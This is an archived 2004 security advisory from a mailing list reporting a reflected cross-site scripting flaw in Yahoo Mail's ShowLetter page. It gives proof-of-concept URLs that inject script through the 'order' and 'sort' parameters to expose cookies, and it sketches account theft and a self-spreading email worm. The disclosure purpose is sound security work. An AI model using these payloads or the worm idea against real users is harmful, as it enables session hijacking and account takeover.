lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
Open Source and information security mailing list archives
| ||
|
Message-ID: <000d01c41240$e41a1ce0$cb4db350@fucku> From: theinsider at 012.net.il (Rafel Ivgi, The-Insider) Subject: Yahoo Mail! - Cross Site Scripting ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Application: Yahoo Mail! Vendors: http://www.yahoo.com Platforms: WebMail Bug: Cross Site Scripting Risk: High - Stealing Accounts Exploitation: Remote with browser Date: 9 Mar 2004 Author: Rafel Ivgi, The-Insider e-mail: the_insider@...l.com web: http://theinsider.deep-ice.com ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 1) Introduction 2) Bugs 3) The Code ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ =============== 1) Introduction =============== Yahoo is one of the world's best and most common free webmail vendor. Yahoo mail is very reliable, safe and fast. It also allows secure connections(SSL) when checking mail. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ====== 2) Bug ====== Upon login to yahoo mail and checking your mail box you will see your new mail. Choose any of your mail and click on it. Now you will se the address bar is similar to: http://us.f200.mail.yahoo.com/ym/ShowLetter?MsgId=3308_151647_1069_1720_553_0_917_-1_0&YY=96862&inc=25&order=down&sort=date&pos=0&view=a&head=b&box=Inbox Now lets inspect yahoo's protection on each one of this fields: ---------------------------------------------------------------------------- -------- MsgId=3308_151647_1069_1720_553_0_917_-1_0 --> this field's content doesn't really matter, whats important is that it is numeric and with the correct syntax. YY=96862 --> safe inc=25 --> safe order=down"><script>alert('xss')</script> -->XSS !!! sort=date"><script>alert('xss')</script> -->XSS !!! pos=0 --> safe view=a --> safe head=b --> safe box=Inbox --> safe So pressing/browsing to one of this links(while logged on, or while cookie saved the username and password) A script will be injected and the account can be stolen. http://us.f200.mail.yahoo.com/ym/ShowLetter?MsgId=3308_151647_1069_1720_553_0_917_-1_0&YY=96862&inc=25&order=down"><script>alert('This can be your cookie')</script>&sort=date&pos=0&view=a&head=b&box=Inbox http://us.f200.mail.yahoo.com/ym/ShowLetter?MsgId=3308_151647_1069_1720_553_0_917_-1_0&YY=92552&inc=25&order=down&sort=date"><script>alert(document.cookie)</script>&pos=0&view=a&head=b&box=Inbox Who is Vulnerable: ------------------------- Any user that checked the "Remember my ID on this computer" checkbox is vulnerable for this Cross Site Scripting attack. Also any user who checks his email and press a link that was inside an email that uses this XSS, therefore a worm can be created that will send mails to all possible accounts on yahoo and will use the XSS to steal the accounts. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ =========== 3) The Code =========== http://us.f200.mail.yahoo.com/ym/ShowLetter?MsgId=3308_151647_1069_1720_553_0_917_-1_0&YY=96862&inc=25&order=down"><script>alert('This can be your cookie')</script>&sort=date&pos=0&view=a&head=b&box=Inbox http://us.f200.mail.yahoo.com/ym/ShowLetter?MsgId=3308_151647_1069_1720_553_0_917_-1_0&YY=92552&inc=25&order=down&sort=date"><script>alert(document.cookie)</script>&pos=0&view=a&head=b&box=Inbox ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ --- Rafel Ivgi, The-Insider http://theinsider.deep-ice.com "Things that are unlikeable, are NOT impossible."
Powered by blists - more mailing lists